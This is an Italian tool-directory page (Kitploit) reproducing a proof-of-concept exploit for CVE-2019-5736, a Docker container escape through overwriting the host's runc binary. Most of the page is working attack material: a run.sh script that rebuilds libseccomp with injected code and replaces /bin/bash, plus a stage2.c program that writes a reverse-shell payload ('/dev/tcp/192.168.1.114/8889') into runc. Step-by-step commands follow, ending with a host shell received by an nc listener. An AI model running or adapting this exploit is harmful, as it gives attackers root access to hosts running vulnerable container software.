Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-5736 — Exploit proof-of-concept per CVE-2019-5736, una fuga da container Docker tramite sovrascrittura del binario runc, che consente l'accesso alla shell dell'host tramite manipolazione di libseccomp. | Kitploit
Strumenti/GitHubGitHub/si1ent-le/cve-2019-5736
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitRed TeamingEscape dal ContainerBinary Exploitation
GitHubsi1ent-le/cve-2019-5736

CVE-2019-5736

Exploit proof-of-concept per CVE-2019-5736, una fuga da container Docker tramite sovrascrittura del binario runc, che consente l'accesso alla shell dell'host tramite manipolazione di libseccomp.

Vedi Repository
44 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-5736

Riferimento: cve-2019-5736-poc

  • (1). modifica il comando poc in stage2.cve
  • (2). build docker docker build -t cve .
  • (3). esegui docker docker run -d cve /bin/bash -c "tail -f /dev/null"
  • (4). fai un backup di docker-runc cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
  • (5). docker exec -it docker-id /bin/bash
  • (6). modifica run.sh edizione libseccomp Esempio: cd /root/libseccomp-2.5.1
  • (7). nel docker esegui cd /root && ./run.sh && exit
  • (8). docker exec -it docker-id /bin/bash

Parte modificata

run.sh

root@kitploit:~
#!/bin/bash
# libseccomp versione controlla tempestivamente le informazioni della versione corrispondente scaricata nella directory /root dopo la creazione del contenitore
cd /root/libseccomp-2.5.1
cat /root/stage1.c >> src/api.c
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us
dpkg -i /root/*.deb
mv /bin/bash /bin/good_bash
gcc /root/stage2.c -o /stage2
cat >/bin/bash <<EOF
#!/proc/self/exe
EOF
chmod +x /bin/bash

Pratica

Ambiente

root@kitploit:~
Host: Ubuntu18.04
Docker-ce: 18.06.1~ce~3-0~ubuntu
docker-runc: 1.0

Distribuzione dell'ambiente

root@kitploit:~
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
# Se si verifica un errore, cd /var/lib/dpkg/updates elimina tutti i file nella directory e riprova
root@root:~# sudo apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

Modificare il file C

stage2.c

root@kitploit:~
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char **argv) {

    printf("HAX2: argv: %s\n", argv[1]);
    int res1 = -1;
    int total = 10000;
    while(total>0 && res1== -1){

        int fd = open(argv[1], O_RDWR|O_TRUNC);
        printf("HAX2: fd: %d\n", fd);

        const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.1.114/8889 0>&1  &\n";
        int res = write(fd, poc, strlen(poc));
        printf("HAX2: res: %d, %d\n", res, errno);
        res1 = res;
        total--;
    }
}

Costruire l'immagine

root@kitploit:~
docker build -t cve-2019-5736 .

image

Eseguire

root@kitploit:~
docker run -d cve-2019-5736 /bin/bash -c "tail -f /dev/null"

image

Backup del docker-runc sull'host

Poiché successivamente si sovrascriverà il file docker-runc sul sistema

root@kitploit:~
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak

Accedere al contenitore

root@kitploit:~
docker exec -it 655378598a92 /bin/bash

Eseguire all'interno del contenitore

root@kitploit:~
# Nota: modificare tempestivamente le informazioni sulla versione di libseccomp nel file run.sh prima di eseguire
cd /root 
./run.sh
exit

Riconnettere il contenitore

root@kitploit:~
# docker exec -it 655378598a92 /bin/bash
# A questo punto, la sessione di ascolto nc riceverà una shell inversa dall'host

image

Scarica lo strumento